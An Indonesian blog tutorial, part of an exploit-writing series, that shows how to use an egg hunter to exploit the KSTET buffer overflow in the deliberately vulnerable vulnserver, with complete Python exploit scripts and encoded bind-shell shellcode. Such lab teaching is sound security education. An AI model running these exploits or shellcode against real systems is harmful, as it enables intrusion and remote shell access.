Setelah beberapa bulan dari tulisan terakhir, akhirnya saya bisa punya waktu untuk lagi untuk melanjutkan seri tulisan membangun eksploitasi di Windows. Pada tulisan kali ini saya akan membahas penggunaan egg hunter yaitu sebuah shellcode kecil yang berfungsi untuk mencari shellcode yang lebih besar. Lebih detailnya akan saya bahas di bawah ini.
Apa, mengapa, dan kapan butuh Egg hunter?
Egg hunter tidak lain adalah sebuah shellcode berukuran kecil (sekitar 32-60 bytes) yang bertugas untuk mencari shellcode lain (biasanya berukuran lebih besar). Pencarian ini dilakukan di Virtual Address Space (VAS) yang benar dan mencari sebuah tag atau penanda (karena itu disebut sebagai egg). Penanda atau egg ini biasanya merupakan karakter unik, berulang dan berdempetan, contoh paling umum sebuah egg adalah w00tw00t (t00wt00w dalam bentuk little-endian).
Egg hunter digunakan ketika dalam proses eksploitasi, ukuran buffer yang memicu buffer overflow sangat kecil dan tidak cukup untuk meletakkan shellcode di atas 60 bytes. Egg hunter sering disebut juga sebagai staged-shellcode namun menurut saya kurang tepat karena cara kerja staged-shellcode biasanya mengirimkan shellcode kecil sebagai pemicu untuk mengunduh shellcode yang lebih besar (cara kerjanya mirip dengan malware downloader) sedangkan egg hunter tidak mengunduh shellcode lain namun mencarinya di memori.
Untuk dapat melihat egg hunter dengan lebih dekat, saya akan menjalankannya pada sistem operasi Windows 7 SP1 (x86) dan perlu memasang hal-hal berikut:
- vulnserver.exe milik Stephen Bradshaw
- Immunity Debugger
- Mona Python script
Pada tulisan kali ini saya akan melewatkan beberapa hal terkait eksploitasi buffer overflow karena teknik yang digunakan sudah pernah dijelaskan pada tulisan-tulisan sebelumnya. Saya akan fokus pada bagian penggunaan 32-bit egg hunter, dimana ketika ukuran buffer yang dapat dimanfaatkan untuk eksploitasi kurang dari 60 bytes, atau hampir tidak mungkin menaruh shellcode yang umum (shellcode untuk mengeksekusi program kalkulator saja berukuran 195 bytes).
Ada beberapa kondisi yang harus terpenuhi apabila ingin menggunakan egg hunter:
- Kita harus bisa mengeksekusi shellcode dan instruksi seperti JMP, CALL, PUSH/RET
- Kita harus bisa mengirimkan shellcode yang lebih besar dengan cara lain (entah melalui protokol lain atau fungsi lain) sebelum shellcode egg hunter tereksekusi
- Kita harus menentukan penanda yang unik dan berukuran 8 bytes karena shellcode egg hunter akan mencari penanda ini di memori. Penanda ini harus diletakkan tepat sebelum shellcode yang lebih besar “dikirimkan”.
- Panjang sebuah egg hunter shellcode 32-bit adalah sepanjang 32 bytes, pastikan kita dapat menempatkan egg hunter shellcode untuk menggunakannya.
Implementasi Penggunaan Shellcode Egg Hunter 32-bit
Shellcode egg hunter yang umum dibuat oleh Matt Miller (Skape) dan sudah menjadi bagian dari Mona Python script. Saya akan menggunakan shellcode egg hunter yang dihasilkan oleh Mona Python script dengan menjalankan !mona egg
pada Immunity Debugger.
Shellcode egg hunter yang dihasilkan oleh Mona akan otomatis menggunakan penanda w00t. Jika dijabarkan dalam bahasa Assembly, berikut opcode dari shellcode egg hunter yang dihasilkan oleh Mona:
66:81CA FF0F OR DX,0FFF
42 INC EDX
52 PUSH EDX
6A 02 PUSH 2
58 POP EAX
CD 2E INT 2E
3C 05 CMP AL,5
5A POP EDX
74 EF JE SHORT 0x0
B8 77303074 MOV EAX,74303077 # ini penandanya: w00t
8BFA MOV EDI,EDX
AF SCAS DWORD PTR ES:[EDI]
75 EA JNZ SHORT 0x0
AF SCAS DWORD PTR ES:[EDI]
75 E7 JNZ SHORT 0x0
FFE7 JMP EDI
Program yang akan saya gunakan yaitu vulnserver.exe yang memang sengaja dibuat memiliki kerentanan. Dokumentasi mengenai vulnserver.exe dapat dibaca-baca di situs Github milik Stephen Bradshaw (https://github.com/stephenbradshaw/vulnserver).
Vulnserver.exe memiliki beberapa kerentanan, salah satunya adalah fungsi KSTET yang memiliki kerentanan buffer overflow. Berikut ini adalah skrip PoC yang dapat digunakan sebagai pembuktian bahwa KSTET memiliki kerentanan buffer overflow:
#!/usr/bin/python
import socket
import os
import sys
host="192.168.92.135"
port=9999
buff = "KSTET " + "A" * 70 + "BBBB" + "C" * (1000-74)
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.recv(1024)
expl.send(buff)
expl.close()
Setelah dijalankan kita bisa langsung mendapatkan kepastian bahwa EIP tertimpa dengan karakter BBBB.
Seperti yang dapat kita lihat di memori stack, terdapat karakter C yang mengisi memori stack namun tidak banyak (sekitar 20 bytes). Pada bagian Registers kita juga bisa lihat bahwa EAX memegang buffer yang menyebabkan buffer overflow.
Buffer yang masuk ke dalam memori stack terbagi menjadi karakter A sebanyak 70 bytes, lalu karakter B yang menimpa EIP sebanyak 4 bytes, dan karakter C yang hanya 20 bytes. Dari hasil analisis di atas, kita dapat memanfaatkan 70 bytes karakter A sebagai tempat menaruh egg hunter shellcode. Sisa buffer setelah EIP (20 bytes karakter C) dapat kita gunakan untuk “lompat” ke register EAX, dimana pada register tersebut terdapat buffer yang kita kontrol dan akan diisi dengan egg hunter shellcode. Dari register EAX, proses eksekusi akan berlanjut ke egg hunter shellcode, dimana shellcode ini akan mencari shellcode yang lebih besar di memori.
Program vulnserver.exe memiliki sejumlah fungsi yang “sengaja” memiliki kerentanan, ada beberapa fungsi yang bisa kita manfaatkan namun pada kesempatan kali ini saya akan menggunakan fungsi STATS untuk mengirimkan shellcode yang lebih besar. Jika dipersingkat menjadi langkah-langkah, ini yang akan kita lakukan:
- Mengirimkan shellcode bind shell melalui fungsi STATS
- Memicu buffer overflow, mengarahkan aliran eksekusi menuju ESP, lalu mengeksekusi instruksi yang membuat register ESP menunjuk ke register EAX
- “Melompat” ke register EAX dan mengeksekusi shellcode egg hunter
- Shellcode egg hunter mencari shellcode bind shell yang sudah masuk ketika fungsi STATS digunakan
- Shellcode egg hunter menemukan penanda w00tw00t + shellcode bind shell lalu “melompat” ke register EDI (lihat kode Assembly di atas)
- Shellcode bind shell akan tereksekusi
Seperti proses eksploitasi buffer overflow pada umumnya, tentu saja setelah berhasil menimpa EIP, kita akan menimpa EIP dengan alamat yang membawa kita ke buffer yang kita kontrol. Sesuai analisis di atas, kita bisa menimpa EIP dengan JMP ESP
yang akan membawa kita ke buffer yang kita kontrol, namun buffer tersebut berukuran kecil (hanya 20 bytes). Kita akan mengisi buffer ini dengan perintah seperti:
nop
nop
nop
nop
..
..
add eax, 8
jmp eax
..
..
Apabila disatukan dalam skrip PoC maka menjadi seperti ini:
#!/usr/bin/python
import socket
import os
import sys
host="192.168.92.135"
port=9999
buff = "KSTET "
buff+= "A" * 70 # jumlah bytes yang diperlukan untuk mencapai EIP
buff+= "\x03\x12\x50\x62" # jmp esp
buff+= "\x90" * 8 # nopsled
buff+= "\x83\xC0\x08\xFF\xD0" # add eax,8 # jmp eax
buff+= "C" * (1000-len(buff)) # sisa buffer
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.recv(1024)
expl.send(buff)
expl.close()
Apabila dijalankan, maka pada register EAX akan terbentuk seperti pada cuplikan layar berikut:
Sampai pada posisi ini, kita hanya tinggal mengganti buffer tersebut dengan shellcode egg hunter. Berikut ini yang dapat saya rangkai dalam skrip Python selanjutnya:
#!/usr/bin/python
import socket
import os
import sys
host="192.168.92.135"
port=9999
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter+= "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
buff = "KSTET " + "A" * 2
buff+= "\x90" * 8 # nopsled
buff+= egghunter # 32 bytes
buff+= "A" * 28 # sisa dari 70 bytes menuju EIP
buff+= "\x03\x12\x50\x62" # jmp esp
buff+= "\x90" * 8 # nopsled
buff+= "\x83\xC0\x08\xFF\xD0" # add eax,8 # jmp eax
buff+= "C" * (1000-len(buff)) # sisa buffer
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.recv(1024)
expl.send("STATS " + "w00tw00t" + "\xcc" * 1000)
expl.close()
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.recv(1024)
expl.send(buff)
expl.close()
Pada skrip Python di atas, shellcode egg hunter saya taruh di baris ke-15. Pada baris ke-14, terlihat bahwa saya menambahkan NOP sebanyak 8 bytes sebagai landasan ketika instruksi add eax, 8
dan jmp eax
tereksekusi. Pada baris ke-16 saya juga menambahkan sisa buffer (karakter A sebanyak 28 bytes) agar memenuhi buffer overflow dan mencapai EIP. Pada baris ke-22 sampai ke-26, saya membuat koneksi baru dan mengirimkan perintah STATS yang diikuti oleh penanda shellcode egg hunter yaitu w00tw00t
dan bakal shellcode, sementara bakal shellcode ini saya isi dengan INT3
yang diwakilkan oleh heksa 0xcc
.
Apabila skrip di atas dijalankan, terlihat bahwa aliran eksekusi akan terlempar ke register EAX sebagai akibat dari perintah add eax, 8
dan jmp eax
. NOPsled sebanyak 8 bytes sudah menunggu dan shellcode egg hunter siap tereksekusi. Jika kita ikuti dengan perintah Step into (tombol F7), terlihat bahwa proses eksekusi akan berulang ketika sampai pada instruksiJE SHORT 01A1F9A0
hal tersebut terjadi karena pengecekan terhadap Virtual Address Space (VAS) yang tepat sampai tidak terjadi Access Violation (0xc00000005
— cmp al,5
). Apabila VAS tersebut ada dan benar, maka instruksi berlanjut dengan menaruh penanda (0x74303077
— w00t) ke register EAX. Dari sinilah proses pencarian penanda ini (w00t) dimulai sampai ketemu. Shellcode egg hunter didesain untuk menemukan 2 penanda yang berdempetan agar benar-benar yakin bahwa setelah 2 penanda ini ditemukan, berarti setelahnya adalah bakal shellcode (0xcc
). Setelah 2 penanda ini ditemukan, alamat bakal shellcode akan disimpan ke register EDI dan aliran eksekusi akan langsung diarahkan ke register EDI (ditandai dengan instruksi JMP EDI
)
Kita bisa melihat pada register EDI telah menunggu bakal shellcode. Jika kita gulir ke atas sedikit, kita bisa lihat penanda yang berdempetan tersebut (w00tw00t
).
Sampai saat ini, apabila bakal shellcode kita ganti dengan shellcode bind shell, maka shellcode tersebut pasti tereksekusi. Berikut ini skrip Python yang sudah dilengkapi dengan shellcode bind shell:
#!/usr/bin/python
import socket
import os
import sys
host="192.168.92.135"
port=9999
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter+= "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
# x86/shikata_ga_nai succeeded with size 355 (iteration=0)
# x86/shikata_ga_nai chosen with final size 355
# Payload size: 355 bytes
shellcode = b""
shellcode += b"\xb8\x7e\xa3\x25\x27\xd9\xc7\xd9\x74\x24\xf4"
shellcode += b"\x5a\x31\xc9\xb1\x53\x31\x42\x12\x83\xea\xfc"
shellcode += b"\x03\x3c\xad\xc7\xd2\x3c\x59\x85\x1d\xbc\x9a"
shellcode += b"\xea\x94\x59\xab\x2a\xc2\x2a\x9c\x9a\x80\x7e"
shellcode += b"\x11\x50\xc4\x6a\xa2\x14\xc1\x9d\x03\x92\x37"
shellcode += b"\x90\x94\x8f\x04\xb3\x16\xd2\x58\x13\x26\x1d"
shellcode += b"\xad\x52\x6f\x40\x5c\x06\x38\x0e\xf3\xb6\x4d"
shellcode += b"\x5a\xc8\x3d\x1d\x4a\x48\xa2\xd6\x6d\x79\x75"
shellcode += b"\x6c\x34\x59\x74\xa1\x4c\xd0\x6e\xa6\x69\xaa"
shellcode += b"\x05\x1c\x05\x2d\xcf\x6c\xe6\x82\x2e\x41\x15"
shellcode += b"\xda\x77\x66\xc6\xa9\x81\x94\x7b\xaa\x56\xe6"
shellcode += b"\xa7\x3f\x4c\x40\x23\xe7\xa8\x70\xe0\x7e\x3b"
shellcode += b"\x7e\x4d\xf4\x63\x63\x50\xd9\x18\x9f\xd9\xdc"
shellcode += b"\xce\x29\x99\xfa\xca\x72\x79\x62\x4b\xdf\x2c"
shellcode += b"\x9b\x8b\x80\x91\x39\xc0\x2d\xc5\x33\x8b\x39"
shellcode += b"\x2a\x7e\x33\xba\x24\x09\x40\x88\xeb\xa1\xce"
shellcode += b"\xa0\x64\x6c\x09\xc6\x5e\xc8\x85\x39\x61\x29"
shellcode += b"\x8c\xfd\x35\x79\xa6\xd4\x35\x12\x36\xd8\xe3"
shellcode += b"\x8f\x3e\x7f\x5c\xb2\xc3\x3f\x0c\x72\x6b\xa8"
shellcode += b"\x46\x7d\x54\xc8\x68\x57\xfd\x61\x95\x58\x10"
shellcode += b"\x2e\x10\xbe\x78\xde\x74\x68\x14\x1c\xa3\xa1"
shellcode += b"\x83\x5f\x81\x99\x23\x17\xc3\x1e\x4c\xa8\xc1"
shellcode += b"\x08\xda\x23\x06\x8d\xfb\x33\x03\xa5\x6c\xa3"
shellcode += b"\xd9\x24\xdf\x55\xdd\x6c\xb7\xf6\x4c\xeb\x47"
shellcode += b"\x70\x6d\xa4\x10\xd5\x43\xbd\xf4\xcb\xfa\x17"
shellcode += b"\xea\x11\x9a\x50\xae\xcd\x5f\x5e\x2f\x83\xe4"
shellcode += b"\x44\x3f\x5d\xe4\xc0\x6b\x31\xb3\x9e\xc5\xf7"
shellcode += b"\x6d\x51\xbf\xa1\xc2\x3b\x57\x37\x29\xfc\x21"
shellcode += b"\x38\x64\x8a\xcd\x89\xd1\xcb\xf2\x26\xb6\xdb"
shellcode += b"\x8b\x5a\x26\x23\x46\xdf\x56\x6e\xca\x76\xff"
shellcode += b"\x37\x9f\xca\x62\xc8\x4a\x08\x9b\x4b\x7e\xf1"
shellcode += b"\x58\x53\x0b\xf4\x25\xd3\xe0\x84\x36\xb6\x06"
shellcode += b"\x3a\x36\x93"
buff = "KSTET " + "A" * 2
buff+= "\x90" * 8 # nopsled
buff+= egghunter # 32 bytes
buff+= "A" * 28 # sisa dari 70 bytes menuju EIP
buff+= "\x03\x12\x50\x62" # jmp esp
buff+= "\x90" * 8 # nopsled
buff+= "\x83\xC0\x08\xFF\xD0" # add eax,8 # call eax
buff+= "C" * (1000-len(buff))
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.recv(1024)
expl.send("STATS " + "w00tw00t" + shellcode)
expl.close()
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.recv(1024)
expl.send(buff)
expl.close()
Apabila proses eksekusi dilanjutkan, maka port 4444 akan terbuka sebagai akibat dari shellcode bind shell.
Setelah yakin skrip eksploit tersebut berhasil mengeksekusi shellcode bind shell dengan bantuan shellcode egg hunter, kita dapat mengeksekusi skrip eksploit ini di luar debugger.
Eksploit vulnserver pada fungsi KSTET dengan memanfaatkan shellcode egg hunter berhasil dilakukan.
Catatan Tambahan
Tulisan ini hanya fokus pada shellcode egg hunter di arsitektur 32-bit, sementara itu ada beberapa kondisi yang butuh penyesuaian apabila proses eksploitasi dilakukan pada sistem dengan arsitektur 64-bit. Meskipun semua sistem saat ini sebagian besar sudah mengarah ke arsitektur 64-bit, beberapa program masih dibuat dan berjalan hanya untuk arsitektur 32-bit. Untuk alasan itulah sejak Windows XP 64 bit, Microsoft mulai memperkenalkan WoW64 (Windows 32-bit on Windows 64-bit) yang tetap memproses eksekusi program 32-bit di arsitektur 64-bit. Tentu saja akibat adanya WoW64, proses eksekusi shellcode egg hunter akan mengalami penyesuaian.
Untuk memahami hal ini, silakan lanjut membaca dokumen-dokumen atau artikel terkait dengan penggunaan shellcode egg hunter pada sistem arsitektur 64-bit.
Referensi
- Exploit writing tutorial part 8 : Win32 Egg Hunting — Corelan
- Safely Searching Process Virtual Address Space — Skape (Matt Miller)
- WoW64 — Wikipedia
- vulnserver by Stephen Bradshaw
Halo pak, maaf pak di luar topik komentarnya. Saya mau tanya pak, untuk menjadi penetration tester membuat exploit sendiri diperlukan pak? Atau seorang penetration tester hanya menggunakan tool saja? Saya sekarangg sedang mengembangkan diri di dunia penetration testing motivasi saya adalah tidak lain hanya ingin mengamankan aplikasi kantor tempat saya bekerja, karena di sini tidak ada orang yang bergerak di bidang IT security.
Terima kasih banyak pak sebelumnya.
Halo Dimas, untuk menjadi penetration tester salah satu kemampuan yang diperlukan adalah analisis kerentanan dan bagaimana mengeksploitasinya. Terkait pertanyaan tersebut, mempelajari dan membuat eksploit sendiri merupakan salah satu bagian dari pekerjaan penetration tester bagian eksploitasi. Jadi jawabannya perlu ya hehe
Baik pak, saya coba akan mencari refrensi untuk membuat eksploit sendiri. Terima kasih banyak pak atas jawabannya.
Halo Dimas, bisa baca-baca dari blog ini juga dari bagian 1 ya. Terima kasih kembali.
Siap pak 86! 😀
[…] Bagian 8: win32 Egghunter […]